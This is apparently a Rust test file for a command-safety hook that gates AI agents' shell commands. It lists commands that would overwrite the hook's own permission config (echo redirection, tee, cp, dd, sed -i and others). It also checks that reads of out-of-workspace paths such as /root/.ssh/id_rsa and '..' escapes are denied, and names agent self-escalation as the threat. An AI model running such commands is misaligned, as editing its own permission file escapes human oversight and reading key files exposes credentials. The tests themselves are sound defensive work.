#[test]
fn trust_root_is_unwritable_by_any_command() {
    let home = std::env::var("HOME").unwrap_or_else(|_| "/root".into());
    let spellings = [
        "~/.config/safe-chains.toml".to_string(),
        "$HOME/.config/safe-chains.toml".to_string(),
        format!("{home}/.config/safe-chains.toml"),
        "~/.config/./safe-chains.toml".to_string(),
    ];
    let vectors: &[&str] = &[
        "echo evil > {cfg}",
        "echo evil >> {cfg}",
        "cat payload > {cfg}",
        "tee {cfg}",
        "tee -a {cfg}",
        "cp payload.toml {cfg}",
        "mv payload.toml {cfg}",
        "install payload.toml {cfg}",
        "dd of={cfg}",
        "truncate -s 0 {cfg}",
        "ln -sf payload.toml {cfg}",
        "sed -i 's/x/y/' {cfg}",
        "perl -i -pe 's/x/y/' {cfg}",
    ];
    let mut leaks = Vec::new();
    for cfg in &spellings {
        for v in vectors {
            let line = v.replace("{cfg}", cfg);
            if is_safe_command(&line) {
                leaks.push(line);
            }
        }
    }
    assert!(
        leaks.is_empty(),
        "TRUST ROOT WRITABLE — self-escalation hole (an agent could grant itself permissions):\n  {}",
        leaks.join("\n  "),
    );
    // Reads stay OK — safe-chains must be able to read its own config.
    assert!(
        is_safe_command("cat ~/.config/safe-chains.toml"),
        "safe-chains must be able to READ its own config (only writes are denied)",
    );
}

/// CALLING-CONVENTIONS invariant for PATHS — safety on the OPERATION, not the SYNTAX. The ABSOLUTE
/// and RELATIVE spellings of the same in-root file must classify IDENTICALLY: `cat /work/src/x`
/// must not deny while `cat src/x` allows (the over-deny the other-session forensics found — an
/// in-root absolute path was scored as out-of-workspace). Out-of-root absolutes (system, sibling
/// repo, `..`-escape) still deny. Requires cwd/root context (which the hook supplies).
#[test]
fn absolute_and_relative_in_root_paths_classify_identically() {
    for rel in ["README.md", "src/main.rs", "a/b/c.rs", "notes.txt"] {
        let abs = format!("/work/{rel}");
        let rv = command_verdict_in(&format!("cat {rel}"), workspace()).is_allowed();
        let av = command_verdict_in(&format!("cat {abs}"), workspace()).is_allowed();
        assert_eq!(rv, av, "abs vs rel spelling DISAGREE for in-root `{rel}` vs `{abs}`");
        assert!(rv, "an in-root path must allow (both spellings): {rel}");
    }
    // out-of-root absolutes still deny (no syntax loophole)
    for bad in ["/etc/hosts", "/Users/someone/other/x", "/work/../sibling/secret", "/root/.ssh/id_rsa"] {
        assert!(
            !command_verdict_in(&format!("cat {bad}"), workspace()).is_allowed(),
            "out-of-root absolute must deny: {bad}",
        );
    }
}